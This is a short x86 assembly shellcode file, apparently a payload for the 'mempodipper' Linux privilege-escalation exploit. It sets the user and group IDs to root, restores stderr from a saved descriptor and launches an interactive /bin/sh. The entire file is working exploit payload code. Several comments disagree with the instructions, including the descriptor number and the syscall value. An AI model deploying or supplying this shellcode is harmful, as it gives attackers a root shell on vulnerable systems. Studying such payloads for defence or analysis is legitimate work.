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BITS 32
; This shell code sets uid and gid to 0 and execs a shell in interactive mode.
; It also reopens stderr that was previously saved inside fd 6, for use with mempodipper.
;
; by zx2c4
;setuid(0)
xor ebx,ebx
mov al,0x17
int 0x80
;setgid(0)
xor ebx,ebx
mov al,0x2e
int 0x80
;dup2(15, 2)
xor ecx,ecx
mov bl,0xf
mov cl,0x2
mov al,0x3f
int 0x80
; execve("//bin/sh", ["//bin/sh", "-i", 0], 0)
xor eax,eax ; eax = 0
push eax ; push eax
push 0x68732f6e ; push //bin/sh
push 0x69622f2f
mov ebx,esp ; set ebx (arg 1) to top of stack
xor edx,edx ; edx = 0
mov dx,'-i' ; edx = '-i'
push edx ; push edx to stack
mov eax,esp ; set eax to top of stack
xor edx,edx ; edx = 0
; so at this point:
; ebx is a pointer to '//bin/sh'
; eax is a pointer to '-i'
; edx is null
; since they are all the same size, we'll push them on the stack
; and then it will be an array:
push edx ; push edx to stack
push eax ; push eax to stack
push ebx ; push ebx to stack
mov ecx,esp ; set ecx (arg 2) to top of stack
xor edx,edx ; rdx (arg 3) = 0
xor eax,eax
mov al,0xb ; al = 0x3b, which is the exec call
int 0x80
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